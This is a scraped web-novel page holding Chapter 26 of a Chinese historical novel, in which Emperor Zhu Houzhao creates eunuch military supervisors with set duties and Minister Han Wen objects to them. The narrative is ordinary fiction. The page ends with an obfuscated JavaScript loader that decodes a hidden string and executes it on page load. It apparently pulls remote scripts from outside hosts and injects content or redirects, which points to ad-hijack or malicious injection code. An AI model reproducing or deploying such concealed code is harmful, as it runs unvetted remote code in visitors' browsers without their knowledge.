首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第26章 军监使制,监督之权

下载APP,无广告、完整阅读
    第26章军监使制,监督之权(第1/2页)
    殿内的喧哗声渐渐落了下去,不是因为大家不想说了,而是因为朱厚照的目光扫了过来。
    那目光冷得像冬天的冰,所到之处,所有人的嘴巴都像被冻住了一样,一个字也说不出来。
    朱厚照站在大殿中央,语气从“废止”转向了“设立”。
    “往后六军各府,设府监使一员,总领本府监使事务。”
    殿内所有人的耳朵都竖了起来。
    府监使——这是一个全新的官职,一个从来没有出现过的官职。
    六军都督府,每一府设一个府监使,总领本府的监使事务。
    府监使是谁?
    干什么的?
    听谁的?
    所有人的心里都充满了疑问。
    朱厚照不紧不慢地一条一条列出来。
    “各军,设军监使一员。”
    “各师,设师监使一员。”
    “各团,设团监使一员。”
    “各营,设营监使一员。”
    “营以下,不设监使。队、旗、什之事,由营监使统而察之。”
    殿内安静得可怕。
    府、军、师、团、营——五级监使,从上都督府到最基层的营,每一级都有一个监使。
    营以下不设监使,但营监使统而察之。也就是说,从营往上,每一级都有一个人在看着。
    监使——这两个字,在场的武将们听得心里发毛。
    他们刚刚高兴了不到一刻钟,以为从今以后再也没有人管他们了,再也没有人盯着他们了,再也没有人能够对他们指手画脚了。
    可现在,皇帝说——设监使。府有府监使,军有军监使,师有师监使,团有团监使,营有营监使,五级监使,层层设防。
    张懋跪在武官队列最前面,听到“府监使”三个字的时候,眉头微微皱了起来。
    他在京营几十年,对监军制度太熟悉了。
    永乐年间,五军营设提督内臣一员,三千营设提督内臣二员,神机营设提督内臣一员、坐营内臣六员、监枪内臣二十员。
    那时候,宦官监军是常制。
    后来,随着文官集团的崛起,宦官监军被文官监军取代了。
    巡按御史、兵备道、兵科给事中——这些文官取代了宦官,成为了军队的“眼睛”。
    现在,皇帝把都察院的监察权废止了,但又设立了府监使、军监使、师监使、团监使、营监使。
    这意味着,不是不要监督了,而是换一种方式监督——从文官监督,变成宦官监督。
    张懋的心里微微一动——宦官监督,比文官监督,对他来说,更好还是更坏?
    张俊跪在边将队列里,听到“监使”两个字的时候,心里也是微微一沉。
    他在宣府打了四十年仗,最恨的不是蒙古人,是巡按御史。那些七品的小官,坐在宣府城的衙门里,拿着笔杆子,写几个字就能决定他的前途。
    他打了胜仗,御史说他是“贪功冒进”;他打了败仗,御史说他是“守土不力”。
    他怎么做都是错的,因为御史的笔杆子长在文官手里。
    现在,皇帝说——都察院的监察权废止了,换成了监使。
    监使是谁?
    干什么的?
    听谁的?
    他会不会像巡按御史一样,拿着笔杆子乱写?
    张俊不知道,但他知道一件事——皇帝在看着他。
    朱厚照的话继续往下走,语气平稳,像是在陈述一件再自然不过的事情。
    “各监使由内书堂培养的宦官担任。”
    文官队列里有人倒吸了一口凉气。
    内书堂培养的宦官——不是文官,不是武将,不是勋贵,是宦官。
    宦官,是皇帝的私臣,是皇帝的奴才,是皇帝最信任的人。
    他们没有家族,没有后代,没有同年,没有座师,没有派系。
    他们的权力全部来自皇帝,离了皇帝就什么都不是。
    让宦官来监督军队,意味着监督权从文官集团手中剥离!
    意味着宦官只对皇帝负责!
    意味着不受文官牵制!
    意味着武将只需要听皇帝和都督府的,不需要看文官脸色!
    意味着皇帝通过宦官掌握军队的真实情况!
    这不是换一批人当监工,这是把“监督”这件事本身,从文官集团的权力范围内拿走了。
    御史是文官系统的一部分,向都察院负责,向文官集团负责。
    监使是皇帝私臣,向司礼监负责,向皇帝负责。
    御史弹劾武将,极有可能是为了维护文官集团的共同利益。
    而监使监督武将,则是为了维护皇帝的私人利益。
    朱厚照伸出第一根手指。
    “其一,记录一切。将官之勤惰、士卒之优劣、操练之虚实、粮饷之盈缺,逐日记录,按月呈报宫中。”
    武将们的心猛地一沉,记录一切——将官的勤惰,士卒的优劣,操练的虚实,粮饷的盈缺。
    每一样都要记录,逐日记录,按月呈报宫中。
    这意味着,从今以后,每一个武将的一举一动都在监使的眼睛底下。
    你今天有没有认真操练,你的士兵有没有吃饱饭,你的粮饷有没有发到位——监使全部知道,皇帝全部知道。
    张懋的眉头皱得更紧了,他在京营几十年,自认为对得起朝廷,对得起皇帝,对得起士兵。
    他不怕被监督,因为他没有什么好隐瞒的。
    但他知道,不是所有人都像他一样。
    那些克扣军饷的、吃空饷的、私役士卒的、懈怠练兵的——他们会怕。
    张俊的心里也是微微一沉,他在宣府打了四十年仗,从一个小兵做起,一路升到总兵官。
    他从来不克扣军饷,从来不私役士卒,从来不虚报战功。
    他不怕被记录,因为他问心无愧。
    但他知道,他手下那些千户、百户、总旗、小旗——不是每个人都像他一样。
    朱厚照伸出第二根手指。
    “其二,监督军功。凡有战事,亲临阵前,核实斩获,与主将会签,方可生效。”
    武将们的脸色变得更加复杂,监督军功——凡有战事,亲临阵前,核实斩获,与主将会签,方可生效。
    这意味着,从今以后,再也不能虚报战功了。
    以前,打了仗回来,报上去多少斩获,全凭主将一张嘴。
    你说杀了十个,就是十个;你说杀了一百个,就是一百个。
    没有人核实,没有人监督,没有人查证。
    所以虚报战功成了常态,打了败仗报成胜仗,杀了几个报成杀了几十个。
    现在,监使要亲临阵前,核实斩获。你和监使会签,才能生效。
    你报十个,监使只看到五个,那就只有五个。你再也不能虚报一个字。
    仇钺跪在边将队列里,听到“亲临阵前”四个字的时候,眼睛微微眯了起来。
    他是从最底层爬上来的佣兵,他对战场上的事情比任何人都清楚。
    虚报战功,是军队里最普遍、最严重、最难以根除的弊病。
    他见过太多人,打了败仗回来,报成胜仗;杀了几个俘虏,报成斩首几十。
    那些虚报战功的人升了官、发了财、得了赏,而那些真正在战场上拼命的人,什么都没有。
    现在,皇帝说——监使亲临阵前,核实斩获。
    他在想,如果早几年有这样的制度,他手下那些兵,能少死多少人?
    朱厚照伸出第三根手指。
    “其三,定期调换,每三年一调,不得久居一地,不得与武将结交。”
    武将们的眉头微微紧皱,而后又舒展开来。
    监使在一个地方最多待三年,三年之后就要调走,不得久居一地,不得与武将结交。
    这意味着,监使没有时间和武将建立太深的关系。
    他刚和当地的武将混熟,就要被调走了;他刚摸清楚当地的情况,就要离开了。
    这样一来,监使和武将之间很难形成利益共同体。
    朱厚照伸出第四根手指。
    “其四,直报宫中。遇紧急军情、重大弊案、将领不法,可绕开都督府,直奏朕前。”
    都督们的脸色变得微妙起来,直报宫中——遇紧急军情、重大弊案、将领不法,可绕开都督府,直奏皇帝。
    这意味着,监使不受都督府管辖,不需要通过都督府上报,可以直接把消息送到皇帝面前。
    都督们的手再长,也伸不到监使的笔杆子上。
    都督想瞒着皇帝做什么,监使就是悬在他头上的一把刀。
    都督贪污军饷,监使直报皇帝;都督私调军队,监使直报皇帝;都督图谋不轨,监使直报皇帝。
    张懋的心里微微一动——如果京营的监使可以直报皇帝,那京营的将领们,谁还敢乱来?
    谁克扣军饷,监使直报皇帝;谁私役士卒,监使直报皇帝;谁懈怠练兵,监使直报皇帝。
    朱厚照伸出第五根手指。
    “其五,监督后勤,核查粮饷军械实况,与兵部所拨比对,如有克扣短缺,立即上报。”
    文官队列里有人脸色变得惨白,监督后勤——核查粮饷军械实况,与兵部所拨比对,如有克扣短缺,立即上报。
    这意味着,从今以后,兵部拨付的粮饷、军械,不再是兵部说了算。
    监使要实地核查,看看兵部拨了多少,军队收到了多少,中间有没有被克扣、被贪污、被挪用。
    以前,兵部拨付粮饷,拨了多少就是多少,没有人核查,没有人监督,没有人查证。
    户部把钱拨给兵部,兵部把粮饷拨给军队,中间经过多少道手续,经过多少个人的手,被克扣了多少,被贪污了多少——没有人知道,也没有人想知道。
    现在,监使要核查。
    (本章未完,请点击下一页继续阅读)第26章军监使制,监督之权(第2/2页)
    兵部拨了一万两,军队收到了八千两,那两千两哪去了?
    监使会查,监使会上报,皇帝会知道。
    文官们怕了,因为粮饷军械的供应链,是文官集团贪污腐败的重灾区。
    户部、兵部、工部——每一个环节都有人伸手,每一道手续都有人克扣。
    以前没有人查,是因为没有人敢查。
    都察院的御史们自己就是文官,他们会查自己人吗?
    不会。他们会互相包庇,互相掩护,互相隐瞒。
    但现在,监使是宦官,不是文官。
    宦官不归都察院管,不归兵部管,不归户部管。
    宦官只归皇帝管,宦官来核查粮饷军械,文官们连求情都不知道找谁求。
    朱厚照停顿了一下,目光扫过殿内所有人,语气比刚才轻了一些,但分量丝毫不减。
    “军监使不干涉指挥,不插手操练,除了看与记录之外,无权对前线将士做任何指挥、命令。如有,各级将士可上报于朕。”
    武将们悬着的心终于放了下来,不干涉指挥,不插手操练——监使只是“看”,不是“管”。
    他不会像以前的文官、宦官监军那样,坐在后方瞎指挥,插手军事决策,干扰将领判断。
    以前,巡按御史、宦官监军,不懂军事却要指挥军事,不懂打仗却要干涉打仗。
    将领们在前线拼命,御史、宦官们在后方指手画脚。
    这个不行,那个不许,这个要这样,那个要那样。多少仗是被这些不懂军事的文官搅黄的?
    多少将士是因为这些瞎指挥的御史、宦官白白送命的?
    现在,皇帝说了——监使不干涉指挥,不插手操练。
    他只能看,只能记录,不能指挥,不能命令。
    如果哪个监使敢对前线将士指手画脚,各级将士可以直接上报皇帝。
    换句话说,监使不是来管他们的,只是来看他们的;监使不是来指挥他们的,只是来记录他们的;监使不是来添乱的,是来监督的。
    文官们跪在地上,脸色比之前更白。
    他们终于听明白了皇帝在做什么——不是在简单地“用宦官替代文官”,而是在建立一套全新的、完整的、系统化的制衡体系。
    这套体系中,宦官是核心,是皇帝的眼睛,是皇帝的耳朵,是皇帝的手。
    宦官看着武将,宦官查着文官,宦官制衡着都督府。
    而皇帝,站在最顶端,掌握着所有的信息,掌握着所有的权力,掌握着所有的裁决权。
    从今以后,文官再也别想插手军队的事了。
    兵部管后勤,都督府管打仗,宦官管监督。
    文官呢?
    管民政,管财政,管司法。
    军队的事,和文官再也没有关系了。
    朱厚照站在大殿中央,扫了一眼文武百官、国公勋贵、边将,继续道:
    “各军军长、各师师长,由朕亲自任命,直接向朕负责。都督不得任命军长,军长不得任命师长。都督不得擅自撤换军长,军长不得擅自撤换师长,军长、师长撤换需上报于朕决定。”
    “师长以下各级将领的升迁考核,由都督府评定,报朕批准。”
    殿内武将勋贵们的脸色变得微妙起来。
    军长是皇帝任命的,不是都督任命的;师长是皇帝任命的,不是军长任命的。都督不能撤换军长,军长不能撤换师长。
    军长、师长都直接对皇帝负责,而不是对上一级负责。
    这意味着,都督手里没有人事权,军长手里也没有人事权。
    他们管得了军队的操练、防务、作战,但管不了军长、师长的升迁、任命、撤换。
    这些权力,全部在皇帝手里。
    朱厚照继续说道:
    “各军粮饷、军械、马匹,由兵部拨付各军军部,由军部统筹拨付各师,由师部统筹拨付各团,层层下拨,层层负责。”
    “各级粮饷账目,按月呈报兵部,同时抄送监使核查。如有克扣、短缺、挪用,监使直报宫中。”
    武将们心中快速盘算着。
    粮饷是兵部直接拨到军的,不经过都督府,都督碰不到钱。
    碰钱的,是兵部的文官和监使。
    文官负责拨付,监使负责核查。
    而碰不到钱,都督府想克扣军饷、吃空饷、做假账,那就难了。
    朱厚照最后总结道:
    “都督府,掌战时指挥、日常监督,不掌人事、不掌财政、不掌监察。”
    “各军军长、各师师长,由朕亲自任命,直接向朕负责,不受都督、军长节制。”
    “各军粮饷,由兵部直拨各军,不经都督府。各级监使,直报宫中,不受各级军队管辖。”
    “都督府有战时统一指挥权——敌寇来犯,朕授权都督统一调度府下各军将士,各军不得推诿、不得延误、不得越境。战事结束,指挥权收回,各军回防。”
    “都督府有日常监督权——核查各军操练、防务、军纪,但不得干预军长人事、不得截留粮饷、不得私自调兵。”
    “如此三权分立,互相制衡。无人可以拥兵自重,无人可以克扣军饷,无人可以欺君罔上。”
    殿内武将们默默消化着这些信息。
    都督手里没有人事权,没有财政权,没有监督权——他只有战时指挥权和日常监督权。
    打仗的时候,他说了算;不打仗的时候,各军各管各的。
    平时都督管不了军长、师长的升迁,管不了粮饷的发放,管不了监使的报告。
    这个安排,便相当于把都督的权力关进了笼子里。
    都督可以指挥打仗,但不能培养亲信;可以监督军务,但不能插手人事;可以建议升迁,但不能决定任命。
    至此,都察院的监察权被废止了,宦官监使的职责一条一条地列了出来,五年一调、直报宫中、不干涉指挥——每一条都堵住了文官们可能反对的借口。
    但朱厚照知道,不是所有人都无话可说,因为这是动了文官压制的武将根基。
    果不其然,在朱厚照话语落下,剩下的文官队列中,户部尚书韩文也是再也忍不住抬头开口道:
    “陛下。”
    “臣,韩文,有话要说。”
    殿内所有人的呼吸都放轻了,藩王们在看,勋贵们在看,边将在看,文官们在看。几百双眼睛盯着跪在大殿中央的户部尚书韩文,几百颗心在胸腔里怦怦直跳。
    有人为他捏了一把汗,有人为他暗暗叫好,有人等着看他怎么死。
    “太祖皇帝禁宦官干政,铸铁碑于宫门,此乃万世不易之法。”
    韩文这话一出,殿内所有人的呼吸都停了一瞬。
    太祖皇帝禁宦官干政,铸铁碑于宫门——这是每一个大明官员入仕第一天就知道的事,是刻在国史里的铁律,是写在祖训里的规矩。
    那上面刻着十四个字:“内臣不得干预政事,预者斩。”
    不过,在英宗朝的时候,这块碑就被王振命人搬走了。
    但是搬走归搬走,并不妨碍韩文此刻将之拿出来说事。
    此刻韩文把这块铁碑搬出来,就等于把太祖皇帝请到了朝堂上。
    朱厚照没有说话,他站在那里,目光落在韩文身上,平静得像一潭死水,看不出任何情绪。
    韩文的声音忽然拔高了几分,像是从胸腔里挤出来的,带着一股压抑了太久之后终于可以释放的力量。
    “今陛下设立‘军监使’,以阉宦监察大将,此乃亡国之兆!”
    这句话落下的瞬间,殿内有人倒吸了一口冷气。
    有人瞪大了眼睛,有人张大了嘴,有人脸色惨白,有人额头上渗出了细密的汗珠。
    亡国之兆——这四个字,太重了,重到在场每一个人都觉得肩膀上一沉。
    这不是弹劾,不是劝谏,这是诅咒。
    韩文在诅咒皇帝的政策会亡国,在诅咒这个王朝会因为他今天的决定而覆灭。
    藩王队列里,有人皱起了眉头。勋贵队列里,有人攥紧了拳头。边将队列里,有人眼中闪过一丝寒光。
    韩文这是在用他的身家性命,在赌。
    他赌皇帝不敢无视太祖的铁碑,他赌皇帝不敢背上“亡国之君”的名声,他赌皇帝会在他的大义凛然面前退让。
    朱厚照嘴角微微动了一下,算不上笑,只是嘴角的肌肉不自主地抽了抽,但韩文看到了,他的心猛地一沉。
    朱厚照没有退让,他在等韩文把话说完。
    韩文继续说下去,声音越来越高,越来越急,像是一把钝刀在石头上磨,磨出了火花,磨出了血光。
    “昔唐明皇宠信高力士,致安史之乱;昔汉末十常侍专权,致黄巾之祸!”
    他的声音在空旷的奉天殿内回荡,震得烛火都晃了几晃。
    唐朝、汉朝——两个曾经辉煌无比的王朝,都亡于宦官之手。
    唐明皇宠信高力士,安禄山造反,盛世从此不再;汉末十常侍专权,黄巾起义,天下从此大乱。
    韩文把这两个例子搬出来,是在告诉朱厚照——你正在走亡国之路。
    “兵者,国之大事,生死之地,存亡之道,岂能托付于刑余之人?”
    这句话出自《孙子兵法》,是每一个读过书的人都知道的经典。
    兵者,国之大事——军队是国家最重要的事情,是决定生死存亡的关键。岂能托付于刑余之人——刑余之人,就是宦官,就是被阉割过的人,就是连完整的身体都没有的人。
    韩文的音量达到了顶点,他的脸涨得通红,青筋暴起,笏板在手中微微颤抖,但他的脊背依然挺得笔直,他的目光依然直直地迎着朱厚照。
    “臣恐百年之后,我大明武将尽折腰于阉宦,社稷危矣!”
    说完了,韩文跪在那里,胸膛剧烈地起伏着,大口大口地喘着气,像是刚打完了一场仗。

一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();